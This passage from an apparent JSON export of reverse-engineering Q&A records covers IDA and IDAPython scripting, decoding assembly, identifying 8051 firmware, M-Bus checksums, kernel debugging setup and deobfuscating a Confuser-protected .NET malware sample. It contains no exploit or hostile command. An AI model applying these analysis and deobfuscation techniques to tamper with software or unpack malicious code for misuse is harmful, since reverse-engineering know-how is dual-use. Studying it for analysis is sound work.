    void disasm( void) {\n  ULONG data = 0;\n  if((Getlong(\"enter address to disassemble\",&data,4,0,DIA_HEXONLY)) != -1) {\n    Addtolist(data,1,\"eip provided is %x\\n\",data);\n    char buff[MAXCMDSIZE+10] = {0};\n    ULONG srcsize = 0;\n    t_disasm mydisasm = {0};\n  if((srcsize = Readcommand(data,buff)) !=0) {\n    char pbuff[50] = {0};\n    for (ulong i = 0;i<srcsize; i++){\n      sprintf_s((char *)(pbuff+(i*2)),50,\"%02x\",*(char *)(buff+i));     \n    }\n    Addtolist(data,1,\"command read %s size %x\\n\",pbuff,srcsize);\n    Disasm((uchar *)buff,srcsize,data,NULL,&mydisasm,DISASM_ALL,NULL);\n    Addtolist(data,1,\"%s\\n\",mydisasm.result);\n    }    \n  }  \n}\n
    \n" }, { "Id": "11326", "CreationDate": "2015-11-14T19:06:18.297", "Body": "

    How can I convert the following IDA Pro generated disassembly (assembly language) into a higher level language?

    \n\n
    ...\nmov edx, Var1\nmov ecx, Var2\nmov eax, edx\nimul ecx\nmov edx, eax\nimul edx, eax\nmov Var3, ecx\n...\n
    \n\n

    I am trying to write a detailed pseudo code describing the function of the provided assembly snippet.

    \n", "Title": "How to decompile this assembly code?", "Tags": "|ida|assembly|decompilation|", "Answer": "

    Please note that there is no general 1:1 relation between assembly code and a higher level language, especially if the assembly was crafted manually. And even for compiled code there may be no good translation if the code was heavily optimized.

    \n\n

    Also, note that reverse engineering is not about translating assembly to higher level language, it's about figuring out what's going on. For example, a year ago, someone asked this series of questions [1] [2] [3]. That guy meticuously translated a lot of assembly to C and wasn't any wiser; in the end, he could have saved himself 2 months if he had been able to recognize the RSA algorithm from the code.

    \n\n

    Of course, a high level language implementation of something might be easier to read than assembly, so translating to high level might be a part of the work, but it's not the biggest part in most cases.

    \n\n

    That said, as you have only 2 opcodes, one of which is mov which is the equivalent to an assignment:

    \n\n
    mov edx, Var1           ; edx=Var1\nmov ecx, Var2           ; ecx=Var2\nmov eax, edx            ; eax=edx (=Var1)\nimul ecx                ; eax=eax*ecx (=Var1*Var2)\nmov edx, eax            ; edx=eax (=Var1*Var2)\nimul edx, eax           ; edx=edx*eax (=(Var1*Var2)^2)\nmov Var3, ecx           ; var3=ecx (=Var2)\n
    \n\n

    So, your code calculates (Var1*Var2)^2, but then assigns Var2 to Var3, not the calculated result.

    \n\n

    If this was a homework question, i'd assume your teacher wanted to see if you're paying attention to detail. Also, it shows that there's no good translation to a high level language, because you don't generally calculate anything in them without using the result. Although, in C, you could have written

    \n\n
    (Var1*Var2)*(Var1*Var2);    // note the expression without an assignment\nVar3=Var2;\n
    \n\n

    but your compiler would normally throw away the first line of this.

    \n" }, { "Id": "11332", "CreationDate": "2015-11-16T00:50:16.963", "Body": "

    I'm trying to figure out a way to automatically decrypt certain strings in a binary called by a function several times.

    \n\n

    The function takes three arguments and is a simple xor decryption. However it uses a different key for each unique string it wants to decrypt.

    \n\n
    char* decrypt(char* string_to_decrypt, uint string_len, char xor_byte)\n
    \n\n

    What I'm attempting to do is get a list of the xrefsTo this function (This is as far as I got) and read in the current string it wants to decrypt in the binary, and grab the xor key and length, then patch the binary to display the plaintext strings.

    \n\n

    The function is called like this

    \n\n
    .text:0040168A push    83h\n.text:0040168F push    9\n.text:00401691 mov     eax, esi\n.text:00401693 mov     edx, offset unk_406D58\n.text:00401698 call    decrypt_string\n
    \n\n

    Where EDX, always holds the address of the encrypted string, and the two pushes are the key and length (9 length, 0x83 key)

    \n\n

    The mov eax, esi isn't always present. Is there a way to read the disassembly and get this function and then just dynamically decrypt all the strings in the database?

    \n\n

    For completeness this is where I started.

    \n\n
    import idaapi\nimport idc\n\nea = here()\nprint hex(ea)\n\nxrefs = CodeRefsTo(ea,0)\n    for xref in xrefs:\n    print \"Ref Addr: {}\".format(hex(xref))\n\n# for all xrefs, get string offset, length and key,\n# decrypt that string, and patch or rename it to display decrypted string)\n
    \n\n

    Thank you.

    \n\n

    EDIT:\nw-s response got me in the right direction. Here is what I came up with. It's rough, I know :)

    \n\n
    import idaapi\nimport idc\nimport idautils\n\nea = here()\nxrefs = CodeRefsTo(ea,0)\n\ndata = []\ndecrypted = []\n\nfor xref in xrefs:\n    current_x = xref\n    d = {}\n    d['addr'] = hex(current_x)\n    n_pushes = 0\n    n_movedx = 0\n\n    for i in xrange(6):\n        if n_pushes == 2 and n_movedx == 1:\n            break\n\n        current_x = idc.PrevHead(current_x)\n        instr = idautils.DecodeInstruction(current_x)\n        if instr.itype == idaapi.NN_push:\n\n            if n_pushes < 1:\n                d['len'] = int(GetOperandValue(current_x, 0))\n\n            if n_pushes == 1:\n                d['key'] = int( hex(GetOperandValue(current_x, 0)), 16)\n\n            n_pushes += 1\n\n        if instr.itype == idaapi.NN_mov:\n            if GetOpnd(current_x, 0) == 'edx':\n                d['string_offset'] = GetOperandValue(current_x, 1)\n\n    data.append(d)\n......\n
    \n", "Title": "Automating a Decryption function call in IDA Python", "Tags": "|ida|idapython|", "Answer": "

    You can use Sark to do most of the work. It should be something similar to this:

    \n\n
    import sark\n\ndef get_edx_values_at_calls_to(function):\n    for xref in function.xrefs_to:\n        if not xref.type.is_call:\n            continue\n\n        # start at the function call (`xref.frm`) and go back to the beginning of\n        # the basic-block (`sark.CodeBlock(xref.frm).startEA`).\n        for line in sark.lines(start=sark.CodeBlock(xref.frm).startEA,\n                               end=xref.frm, \n                               reverse=True):\n            if line.insn.mnem == 'mov' and line.insn.operands[0].reg == 'edx':\n                yield line.insn.operands[1].value\n\ndecrypt_function = sark.Function()\nfor value in get_edx_values_at_calls_to(decrypt_function):\n    pass  # decryption code\n
    \n" }, { "Id": "11338", "CreationDate": "2015-11-17T08:13:43.390", "Body": "

    Good day.

    \n\n

    I build this simple code on Intel cpu working on Windows 7 with MS VS Express 2013:

    \n\n
    #include <stdio.h>\nint f(int a, int b, int c);\n\nint f(int a, int b, int c){\n    int d = a*b + c;\n    return d;\n};\n\nint main()\n{\n    printf(\"%d\\n\", f(1, 2, 3));\n    return 0;\n};\n
    \n\n

    When I disassemble binary I see just main() function that push 5 (the result of f()) and call printf():

    \n\n
    ; int __cdecl main(int argc, const char **argv, const char **envp)\n_main proc near\npush    5\npush    offset Format   ; \"%d\\n\"\ncall    ds:__imp__printf\nadd     esp, 8\nxor     eax, eax\nretn\n_main endp\n
    \n\n

    I'm expect to see something like:

    \n\n
     push 3\n push 2\n push 1\n call _f\n
    \n\n

    or doing similar things with registers (for x64). But can't find f() definition. Is there any conventions or compiler optimizations that allow passing result without routine call? Or it is a debuggers (IDA, OllyDBG) calculating? It looks like the result of f() was calculated when project was built.

    \n", "Title": "Callee's return precalculations", "Tags": "|binary-analysis|", "Answer": "

    Many compilers have magic incantations for explicitly suppressing the inlining of certain functions, like __declspec(noinline). An alternative is introducing something that the optimizer is not allowed to 'see through', like a (volatile) function pointer or an external DLL function. A vararg function can sometimes be used with similar effect (i.e. pretend to use the result of some computation in order to force the compiler to actually perform it).

    \n

    The convention underlying all this is the 'as if' rule in the C/C++ standards. The compiler must ensure that the observable behaviour of the resulting binary follows the defined semantics; how these results are arrived at is completely up to the compiler.

    \n

    In connection with a good optimising compiler this makes the source code of a program a logical specification (or contract) of what the programmer expects to happen, and the physical realisation is fully up to the compiler. This is a good thing, and long overdue.

    \n

    Contrast this to glorified macro assemblers like Turbo Pascal and older Delphis, where you know exactly which machine code fragment/template will get emitted for which source code construct (barring a small handful of tricks from the Dragon Book, like dead store elimination).

    \n

    Here are a few relevant verses from Scripture (ISO/IEC 14882:2003 alias C++03):

    \n
    \n

    The semantic descriptions in this International Standard define a parameterized nondeterministic abstract machine. This International Standard places no requirement on the structure of conforming implementations. In particular, they need not copy or emulate the structure of the abstract machine. Rather, conforming implementations are required to emulate (only) the observable behavior of the abstract machine as explained below.

    \n

    A conforming implementation executing a well-formed program shall produce the same observable behavior as one of the possible execution sequences of the corresponding instance of the abstract machine with the same program and the same input. However, if any such execution sequence contains an undefined\noperation, this International Standard places no requirement on the implementation executing that program with that input (not even with regard to operations preceding the first undefined operation).

    \n
    \n

    (IOW, if you invoke undefined behaviour then all bets are off and the compiler may do whatever it pleases - including, but not limited to, crashing your computer or selling your wife on Ebay. Modern compilers tend to rely heavily on this clause.)

    \n
    \n

    The observable behavior of the abstract machine is its sequence of reads and writes to volatile data and calls to library I/O functions.

    \n

    The least requirements on a conforming implementation are:

    \n

    \u2014 At sequence points, volatile objects are stable in the sense that previous evaluations are complete and subsequent evaluations have not yet occurred.

    \n

    \u2014 At program termination, all data written into files shall be identical to one of the possible results that execution of the program according to the abstract semantics would have produced.

    \n

    \u2014 The input and output dynamics of interactive devices shall take place in such a fashion that prompting messages actually appear prior to a program waiting for input. What constitutes an interactive device is\nimplementation-defined.

    \n
    \n" }, { "Id": "11339", "CreationDate": "2015-11-17T08:47:29.120", "Body": "

    I was wondering if there are any limitations of capstone's disassembling capabilities when compared to IDA.

    \n\n

    If yes, are those limitations inherent, i.e. a result of the different design/techniques that capstone and ida use? Or are they rather due to \"not yet implemented\" features, e.g. capstone's fewer supported CPUs?

    \n\n

    If there are inherent limitations, could you give an example?

    \n\n

    I am talking about the disassembling only, i.e., I am not interested in things like available APIs, commercial support, license models, plug-in systems, debugging support etc. Just the pure disassembly.

    \n\n

    Capstone is mentioned as one answer to the post \"Is there any disassembler to rival IDA Pro?\", but it seems to be a copied/pasted text from the capstone website.

    \n\n

    PS: The working of IDA is explained/discussed here.

    \n", "Title": "Limitations of capstone's disassembly capabilities compared to IDA", "Tags": "|ida|disassembly|disassemblers|capstone|", "Answer": "

    There is no point in comparing between the two. IDA is more than a disassembler, it is a reversing tool which implements(or could be implemented via plugins) almost every feature you can think of.

    \n\n

    Capstone on the other hand, is a simple disassembler engine. It by alone cannot generate the same quality of output as IDA.

    \n\n

    For instance, IDA has cross-referencing capability. Cross-refs are generated by a dedicated analysis engine which uses input from the disassembly engine. A disassembly engine, by its own can neither find cross-refs, nor can it recursively disassemble like IDA.

    \n\n

    You are comparing a disassembly framework to a tool with a myriad of features. They are not comparable with each other.

    \n\n

    If you are talking about just the textual disassembler output, then there is not much of a difference per se.

    \n" }, { "Id": "11347", "CreationDate": "2015-11-17T22:39:54.517", "Body": "

    I dumped a ROM recently.

    \n\n

    I tried to disassembled the machine code* for many architectures, but I always got assembly which, at best, looked like garbage.

    \n\n

    Note: I can perfectly read the strings the the ROM dump.

    \n\n

    *I have no proof this is really machine code.

    \n\n

    Here is the beginning of the two write-protected sections:

    \n\n
        [000000] 00 40 02 0d 16 ef c3 60 01 d3 92 00 22 02 0d db  .@.....`....\"...\n    [000010] 8f 96 22 00 00 02 0e b1 90 3e 57 12 08 91 e4 ff  ..\"......>W.....\n    [000020] fe fd fc 90 3e 5b 12 08 91 c0 96 75 96 03 e4 ff  ....>[.....u....\n    [000030] 7e c0 fd fc 90 3e 57 12 08 27 c3 12 07 84 50 03  ~....>W..'....P.\n    [000040] 02 00 a1 e4 fc fd fe 90 40 00 e4 f8 f9 fa e4 93  ........@.......\n    [000050] 28 f8 e4 39 f9 a3 da f6 e8 2c fc e9 3d fd e4 3e  (..9.....,..=..>\n    [000060] fe e5 83 70 e5 90 3e 5e e0 2c f0 90 3e 5d e0 3d  ...p..>^.,..>].=\n    [000070] f0 90 3e 5c e0 3e f0 90 3e 5b e0 34 00 f0 e5 96  ..>\\.>..>[.4....\n    [000080] 04 f5 96 90 3e 57 12 08 0b c3 ef 94 00 ff ee 94  ....>W..........\n    [000090] c0 fe ed 94 00 fd ec 94 00 fc 90 3e 57 12 08 91  ...........>W...\n    [0000a0] 02 00 2c 90 3e 59 e0 f9 a3 e0 f8 90 3e 5b e0 ff  ..,.>Y......>[..\n    [0000b0] a3 e0 fe a3 e0 fd a3 e0 fc 90 40 00 e8 49 60 15  ..........@..I`.\n    [0000c0] 18 b8 ff 01 19 e4 93 2c fc e4 3d fd e4 3e fe e4  .......,..=..>..\n    [0000d0] 3f ff a3 80 e7 90 3e 5b ef f0 a3 ee f0 a3 ed f0  ?.....>[........\n    [0000e0] a3 ec f0 d0 96 90 3e 5b 12 08 0b 22 10 11 0b 12  ......>[...\"....\n    [0000f0] 0f 04 bf 0d 02 7f 0a 02 01 69 90 49 da e0 ff 22  ........i.I...\"\n\n    [040000] 90 3c db 12 24 2d 90 3c df 12 24 7c e4 7f 01 fe  .<..$-.<..$|...\n    [040010] fd fc 12 23 9c e4 ff fe fd fc 90 3c db 12 23 d3  ...#.......<..#.\n    [040020] d3 12 23 40 40 3f 90 3c df 12 24 45 c0 03 c0 02  ..#@@?.<..$E....\n    [040030] c0 01 12 23 77 e4 7b 02 fa f9 f8 12 21 cb d0 01  ...#w.{.....!...\n    [040040] d0 02 d0 03 12 23 9c 90 3c db 12 23 c7 ef 24 ff  .....#..<..#..$.\n    [040050] ff ee 34 ff fe ed 34 ff fd ec 34 ff fc 90 3c db  ..4...4...4...<.\n    [040060] 12 24 2d 80 b0 22 ef f4 60 05 7e 09 7f 01 22 90  .$-..\"..`.~..\".\n    [040070] 37 55 e0 fd c3 94 80 40 05 7e 09 7f 03 22 af 05  7U.....@.~..\"..\n    [040080] e4 fc fd fe 12 17 51 ef 4e 60 01 22 e4 fe ff 22  ......Q.N`.\"...\"\n    [040090] 90 37 6d ef f0 c3 94 02 40 05 7e 09 7f 01 22 e4  .7m.....@.~..\".\n    [0400a0] 7f ff fe fd fc 90 37 6e 12 23 d3 d3 12 23 40 40  .....7n.#...#@@\n    [0400b0] 02 80 61 90 37 6d e0 25 e0 25 e0 ff 74 0f 7e 00  ..a.7m.%.%..t.~.\n    [0400c0] a8 07 08 80 05 c3 33 ce 33 ce d8 f9 ff ee 33 95  ......3.3.....3.\n    [0400d0] e0 fd fc 90 37 6e 12 23 d3 12 22 f5 c0 04 c0 05  ....7n.#..\".....\n    [0400e0] c0 06 c0 07 90 37 6d e0 25 e0 25 e0 ff 74 0f 7e  .....7m.%.%..t.~\n    [0400f0] 00 a8 07 08 80 05 c3 33 ce 33 ce d8 f9 fb aa 06  .......3.3......\n
    \n\n

    Can you identify which architecture/endianess I should give to the disassembler?

    \n\n

    Thanks;

    \n", "Title": "Which architecture is this machine code?", "Tags": "|disassembly|assembly|machine-code|", "Answer": "

    Here's what I found and how I found it.

    \n\n

    Finding strings

    \n\n

    First, I examined the strings within the file to determine the type and model of equipment. I did that visually, with a text editor (vim) after I had converted the file back to plain binary using xxd.

    \n\n

    Learning more about the device

    \n\n

    Once I did that, I looked for images which show the inside of this product. I found a few, which seemed to show that it's not much different than the usual 5-port unmanaged hub, with what appears to be a single Ethernet switch controller IC. Unfortunately, the heatsink was still attached to the top of the chip of interest in the photos I found, so I tried a different approach.

    \n\n

    Process of elimination

    \n\n

    There are maybe a dozen or so different vendors of Ethernet switch controllers, so I started searching for the prefixes of some of them within the binary image. Jackpot! I found the following strings: RTL8376B and RTL8367N. Looking up the latter, the manufacturer's web site confirms that it is indeed a 5-port controller and that it contains an \"Integrated 8051 microprocessor.\"

    \n\n

    Sample dump

    \n\n

    Starting at offset 0x29200 which in your file, (chosen because it looked like it might be code and not data) I used d52 to disassemble. An extract of the result is here:

    \n\n
        org 0\n;\n    mov r5,#0c2h\n    mov dptr,#X3744\n    lcall   X2445\n    lcall   X2007\n    xrl a,#1\n    jz  X0012\n    ljmp    X547d\n;\nX0012:  clr c\n    mov r1,24h\n    ajmp    X00c3\n;\n    cjne    r1,#0c3h,Xffbe\n    addc    a,r2\n    clr c\n    cjne    r2,#12h,X003f\n    inc @r1\n    clr c\n    cjne    r7,#0c3h,Xffa8\n    rrc a\n    rrc a\n    anl a,#3\n    jb  0c0h.3,Xffcb\n    rr  a\n    ljmp    X547d\n;\n    clr c\nX0030:  mov r7,54h\n    addc    a,r7\n    clr c\n    cjne    r7,#64h,X0039\n    jz  X0041\nX0039:  clr c\n    mov r7,64h\n    ajmp    X0060\n
    \n\n

    For those familiar with 8051 programming, this is very plausible looking code, so it is indeed an 8051 derivative. Good luck!

    \n" }, { "Id": "11350", "CreationDate": "2015-11-18T09:25:07.270", "Body": "

    Maybe someone could help me with the following problem:

    \n\n

    I have an interesting byte sequence that I found within a MIPS ELF binary that exists on the hard drive. This byte sequence may be, for example, 9c 6c 3c 04 80 2d 24 84 85. Now I want to find this byte sequence with IDAPython. Therefore, I use the idc.FindBinary() function like so:

    \n\n
    address = idc.FindBinary(0, SEARCH_DOWN, byte_sequence)\n
    \n\n

    which finds the first occurrence of the byte sequence at address. In general I want to achieve two things:

    \n\n
      \n

    1. I want to colorize the effected affected lines in the IDA View

      2. \n

    2. I want to get the disassembled instructions

      3. \n
    \n\n

    Currently there are two subproblems I want to solve:

    \n\n
      \n

    1. The byte sequence may start within the instruction, for example, in a jal address the byte sequence starts at address instead of at jal. How can I search backwards to find the beginning of the instruction when the byte sequence started within the instruction? Colorizing works with:

      \n\n
      SetColor(address, CIC_ITEM, 0x208020)\n
      2. \n

    2. If the byte sequence is 9 bytes long (as in the example above), how can I tell IDAPython to disassemble all 9 bytes. I would have to know how \"long\" the instructions are that IDAPython disassembles to get to the next instruction. What I know is that I can disassemble at a single addresses with:

      \n\n
      disasm = idc.GetDisasm(address)\n
      3. \n
    \n\n

    Any help would be greatly appreciated!

    \n", "Title": "Colorize and disassemble byte sequences with IDA Pro and IDAPython", "Tags": "|ida|disassembly|idapython|binary|", "Answer": "

    You can easily do that using Sark:

    \n\n
    # Get all the lines relevant to your bytes\nfor line in sark.lines(start=address, end=address + len(byte_sequence)):\n    # For each line, color it, and print the disasm and the instruction length\n    line.color = 0x123456\n    print 'Line Size: {}\\nLine Disasm: {}'.format(line.size, line.disasm)\n
    \n\n

    You might need to add handling for cases where there is no disassembly (the bytes are data-bytes and not code).

    \n" }, { "Id": "11361", "CreationDate": "2015-11-19T22:43:39.773", "Body": "

    I'm currently in the middle of trying to decode the communication of an hydrometer. Thanks to a previous question made in this site I was able to find a PDF describing the communication of a different hydrometer from the same company. I suspect the type of communication is equal or similar for both products.

    \n\n

    From what I understand I first need to define the response I want to have by sending a 10 bytes frame:

    \n\n

    \"enter

    \n\n

    And then request a response with a 5 bytes frame:

    \n\n

    \"enter

    \n\n

    By checking the appendix 1, I choose, for application reset byte, the value \"0x00\":

    \n\n

    \"Application

    \n\n

    But I don't know the meaning of the bytes:

    \n\n
      \n
    1. C-field
      2. \n
    2. Address
      3. \n
    3. Cl-field
      4. \n
    4. Checksum
      5. \n
    \n\n

    Even without knowing the meaning of those fields, I tried defining and requesting a response, but I'm struggling to interpret the data, probably because I don't know the meaning of DIF and VIF columns:

    \n\n

    \"enter

    \n\n

    Summing up, by any chance could I get an explanation of the fields:

    \n\n
      \n
    1. C-field
      2. \n
    2. Address
      3. \n
    3. CL-field
      4. \n
    4. checksum
      5. \n
    5. DIF
      6. \n
    6. VIF
      7. \n
    \n", "Title": "Understanding decoding communications over interfaces", "Tags": "|encryption|serial-communication|encodings|protocol|", "Answer": "

    A comment in your previous question pointed out that your hydrometer likely uses the M-Bus or Meter-Bus protocol, and your fields in question are all thoroughly explained in the documentation of said protocol (PDF)

    \n\n

    The C-Field is the control field and defines what function is being performed (page 23 of the above PDF). It is an 8-bit value where the lowest 4 bits determine the type of transfer (e.g., long frame, data request, etc.) and the highest 4 bits serve as control flags for various operations.

    \n\n

    The address determines which device you're talking to. The M-Bus protocol specifies a master/slave setup where one device can talk to many connected devices on the same local network. This is necessary because it's used in metering applications where a single controller might want to be able to query data from and send data to a large number of interconnected devices. In your case, the documentation uses an address of 0xFD or 253 which specifies that the address is handled on the network layer (which makes sense given you are communicating over Bluetooth).

    \n\n

    The CI[sic] field is the \"Control Information\" field; it communicates which type of data is being transmitted (page 31 of the above PDF). The example you posted uses a CI of 0x50, which indicates an application reset. The following byte specifies the \"type\" of reset requested, with 0x00 representing a full application-layer reset. When reset, it appears that the device responds with its relevant parameters as specified in your posted image.

    \n\n

    The checksum is used to verify the integrity of the transmitted or received data. These are fairly standard in serial communication protocols and generally straightforward to calculate. Calculating the M-Bus checksum requires adding up the raw values of the fields in the frame starting from the C-field and ending after the transmitted data (though this depends on the type and length of the frame, so for short frames, some fields may not be relevant). This calculation, as well as code to calculate it, are easily found with a cursory search.

    \n\n

    DIF and VIF stand for Data Information Field and Value Information Field. The DIF tells you what type of data you got (so from the Diehl PDF you posted, 0xC corresponds to volume, 0xB to flow rate, etc.) The VIF gives units and multiplier so that you can tell what units the specific parameters are in (e.g., liters, m3, etc.)

    \n\n

    I suggest that you take a look at that PDF, as it is very thorough in explaining the protocol and comes directly from the source of the protocol itself.

    \n" }, { "Id": "11367", "CreationDate": "2015-11-20T15:57:04.183", "Body": "

    i want to do kernel debugging on my vm from another vm.

    \n\n

    My setup is pretty simple,

    \n\n

    Debugged - VM:\nWindows XP SP3 x32 (To be debugged)

    \n\n

    Debugger - VM: \nWindows 7 SP1 x64 (With Windbg installed - the Debugger)

    \n\n

    the pipe configuration is pretty simple as well..\nboth ends should be set as The other end is a virtual machine, and on the XP VM i set the pipe as This end is the server and on the Win7 vm i set This end is the client. Im using Vmware Workstation 10.0.3 btw..

    \n\n

    I know i did setup my XP vm correctly because i can debug it from the host easily - configuring The other end is an application and connecting it with Windbg from my host computer (Win7 x64) and its working properly. So i know there is no problem with my Win-XP setup

    \n\n

    But doing the same thing from the other vm, nothing happens. I looked through the internet and i even followed tutorials that explained exactly what i already did.\nI have no idea what i'm missing and i feel pretty helpless so i came asking here.

    \n\n

    Anyone got any ideas what is the problem with my setup?

    \n", "Title": "Kernel debugging between two virtual machines not working", "Tags": "|windows|debugging|windbg|kernel-mode|virtual-machines|", "Answer": "

    Fixed the problem.. \nOn the windbg client, uncheck the 'Reconnect' and 'Pipe' checkboxes on the COM tab - then it will connect to the debugger.

    \n" }, { "Id": "11369", "CreationDate": "2015-11-20T20:23:55.697", "Body": "

    Could you please explain how the INC x86 assembly instruction is affecting the Parity Flag (PF)?

    \n\n

    I have the following code:

    \n\n
    .text:00401413 mov     edi, offset user_id ; user_id at memory location 0x40D020\n...\n.text:00401421 inc     edi                 ; edi = 0x40D021\n...\n.text:0040142D inc     edi\n.text:0040142E jnp     short no_parity\n
    \n\n

    With user_id defined as follows:

    \n\n
    .bss:0040D020 user_id         db 21h dup(?)\n.bss:0040D042                 db    ? ;\n.bss:0040D043                 db    ? ;\n.bss:0040D044                 db    ? ;\n...\n
    \n\n

    At offset 0x40142D:

    \n\n
    0:000> r edi\nedi=0040d021\n0:000> dd 40d021\n0040d021  4f4f4f4f 4f4f4f4f 4f4f4f4f 4f4f4f4f\n0040d031  4f4f4f4f 4f4f4f4f 4f4f4f4f 004f4f4f\n0040d041  00000000 00000000 00000000 00000000\n0040d051  00000000 00000000 00000000 00000000\n0040d061  00000000 00000000 00000000 00000000\n0040d071  00000000 00000000 00000000 00000000\n0040d081  00000000 ff000000 01000000 01000000\n0040d091  02000000 00000000 01000000 00000000\n
    \n\n

    If my understanding of the parity flag is correct, it should apply to the low 8 bits: 01001111 because:

    \n\n
    edi = 0x4f4f4f4f = 0b1001111010011110100111101001111\n
    \n\n

    The number of 1 in 01001111 is odd (five 1), which should set the PF to 1. But this is not the case:

    \n\n
    0:000> r pf\npf=1\n
    \n\n

    ...which leads to the jump not to be taken at offset 0x40142E.

    \n\n

    Thank you for your help.

    \n", "Title": "How does the INC instruction affect the parity flag?", "Tags": "|assembly|x86|", "Answer": "

    The parity flags is \"Set if the least-significant byte of the result contains an even number of 1 bits; cleared otherwise.\"

    \n\n

    Source: section 3.4.3.1 of http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-manual-325462.pdf

    \n\n

    So edi = 0x0040d021 => least significant byte = 0x21

    \n\n

    0x21 = 0b00100001 = 2 bits set = even number of bits sets => PF set

    \n\n

    (It's not clear if the value you give for edi is before or after the inc. If it's before then after the inc edi will equal 0x0040d022, which still has 2 bits set.)

    \n" }, { "Id": "11375", "CreationDate": "2015-11-21T18:11:34.990", "Body": "

    I'm trying to calculate the check sum of a m-bus data frame. In page 1 of this PDF I'm able to read that the frame's check sum \"is calculated from the arithmetical sum of the data mentioned above, without taking carry digits into account\". The data I have above are the bytes:

    \n\n
      \n
    1. Start
      2. \n
    2. L Field
      3. \n
    3. L Field
      4. \n
    4. Start
      5. \n
    5. C Field
      6. \n
    6. A Field
      7. \n
    7. CI Field
      8. \n
    8. Check sum
      9. \n
    9. Stop
      10. \n
    \n\n

    In page 2 we can find that one example of a valid data frame is:

    \n\n
    68 03 03 68 53 01 BB 0F 16\n
    \n\n

    In hexadecimal, being 0F the check sum. Unfortunately I must be doing something wrong because I'm not able to reach that value.

    \n\n

    Could someone explain how this algorithm, to find the check sum, works?

    \n", "Title": "Calculating check sum of m-bus data frame", "Tags": "|hex|protocol|binary-format|hexadecimal|", "Answer": "

    just one sample is never sufficient to answer a checksum query you need a bunch of samples to corelate and find patterns

    \n\n

    so looking at the linked pdf it seems it is clear enough

    \n\n

    skip the start and sum the data and extract the least two bytes

    \n\n
    skip     sum     mask \nx,x,x,x | y,y,... 0x000000ff = checksum\n
    \n\n

    so the sample you posted would be

    \n\n
    skip         | sum            \n68 , 3 ,3 68 | 53 , 01 , bb |  =\n
    \n\n

    checksum

    \n\n
    \"{0:X2}\" -f ((0x53+0x1+0xbb) -band 0x000000ff) = 0x0f seems to match \n
    \n\n

    running this on other sequnces in the pdf seem to tally

    \n\n
    PS C:\\> $a = \"{0:X2}\" -f ((0x53+0xfe+0x51+0x01+0x7a+0x01) -band 0x000000ff) ; $a\n1E \nPS C:\\> $a = \"{0:X2}\" -f ((0x73+0x01+0x51+0x01+0x7A+0x02 ) -band 0x000000ff) ; $a\n42\n
    \n" }, { "Id": "11378", "CreationDate": "2015-11-21T20:58:29.703", "Body": "\n", "Title": "Which environment are comfortable for RE ( Free tool )", "Tags": "|windows|linux|", "Answer": "

    There isn't really a \"better environment\" or \"best tools\", its all up to the RE tasks you are up against.

    \n\n

    Since you said you are a beginner and from reading between the lines without a pre determined task, I would recommend 32bit machine and Ollydbg focusing on solving some CrackMe challenges.

    \n\n

    You can find some of them here:\nTuts4You - CrackMe

    \n" }, { "Id": "11383", "CreationDate": "2015-11-23T11:17:19.027", "Body": "

    I want to test malware that wrote in .NET 4.5 and obfuscated by Confuser 1.9.

    \n\n

    I have tried to open it with .NET Reflector, ILSpy and dotpeek, but all of them can't open it.

    \n\n

    How can I debug (and modify) it? There is a special tool for that?

    \n", "Title": "How to disassemble .NET after using Confuser", "Tags": "|debugging|tools|.net|", "Answer": "

    Try http://de4dot.com its a powerful .net deobfuscator. I've authored a serie of tutorials dubbed \"demystifying dot net reverse engineering\" google it, its a great point of start if you are new on .net RE.

    \n\n

    Here is an article on how to deal with obfuscated assemblies http://resources.infosecinstitute.com/reverse-engineering-obfuscated-assemblies/

    \n\n

    And this is directly related to what you asked for : [.NET] Decrypt Confuser 1.9 methods : http://fr.scribd.com/doc/207710371/NET-Decrypt-Confuser-1-9-Methods#scribd

    \n\n

    Good luck

    \n" }, { "Id": "11388", "CreationDate": "2015-11-24T13:43:53.047", "Body": "

    I am new to program so I am following expert's foot steps but I am kinda lost here

    \n\n
     ShowMessage('Hello World');\n MessageBox(null,'Hello World'mb_OK(1));\nShowModal('Hello World');\n
    \n\n

    I know it's not correct Delphi syntax.

    \n\n

    What is the difference between the three

    \n\n
     MessageBox()\n ShowMessage()\n ShowModal()\n
    \n\n

    All I know is that I have used ShowMessage a lot and the message comes on a small form with OK button.

    \n\n

    Which one of the above uses the API

    \n\n
      User32.MessageBoxW\n  User32.MessageBoxA\n
    \n\n

    Thank you for your time

    \n", "Title": "What is the difference between Messagebox,Dialog and ModalMessage?", "Tags": "|delphi|", "Answer": "

    a modal messagebox is one that blocks you cant perform any action in the main windows unless you close this messagebox

    \n\n

    a non modal messagebox doesnt block you can close it any time you wish and can continue to work in the main window

    \n\n

    a MessageBox is a generic form if you provide the HWnd parameter it can be Modal if you provide null (as you show ) it will be nonmodal

    \n\n

    all will reach user32!messagebox or its internals

    \n\n

    it should be prestty easy for you to check by setting a breakpoint

    \n\n

    and this question of yours will also likely be closed as unclear or lacks basic understanding

    \n" }, { "Id": "11389", "CreationDate": "2015-11-24T14:06:59.310", "Body": "

    I've loaded a program into IDA + Hex-Rays, and decompiled it down to some C-like pseudo-code. Now, I am trying to figure out, for a single action that I am taking in the program, what code is being run. The code that I am interested in comes from a DLL the program uses.

    \n\n

    How does one go about tracing something like, \"I click on this button, this is the code that corresponds to it\"?

    \n", "Title": "Stepping through a program to figure out what subroutines are being called?", "Tags": "|ida|ollydbg|dll|", "Answer": "

    You can load your executable that loads the DLL using OllyDbg or Immunity Debugger.

    \n\n

    You can then check which modules imported are loaded via View->Executable Modules or with the keyboard shortcut Alt+E (at least on Immunity Debugger).

    \n\n

    Then, select your DLL which was imported and right click it. Select View Names or hit Ctrl+N.

    \n\n

    You will be prompted with a sub menu where you can select the DLL's export you are interested in. Select the export and hit F2 to set a software breakpoint on it or right click and select Toggle Breakpoint.

    \n\n

    When you run your program, hopefully, your DLL import will be called and your breakpoint will be hit, pausing execution. You can then view your call stack with View->Call Stack or you can use the shortcut Alt+K. You will likely be interested in the returns to column because that will represent the address where your DLL import will return to. Note that the most recently called functions will be located on the top of the stack.

    \n\n

    You can then use IDA to search for that address in the disassembly. When you are in graph view, press g and paste the address that you copied from the returns to column from the call stack in your debugger.

    \n\n

    Happy hunting! :)

    \n" }, { "Id": "11391", "CreationDate": "2015-11-24T14:57:10.783", "Body": "

    I'm familiar with python and IDA in general. I found a few very basic tutorials but nothing that goes through an explanation of the classes used and the full capability set. Near as I can tell the documentation consists of a list of functions. The IDAPro book just recommends learning it through banging your head against a wall.

    \n\n

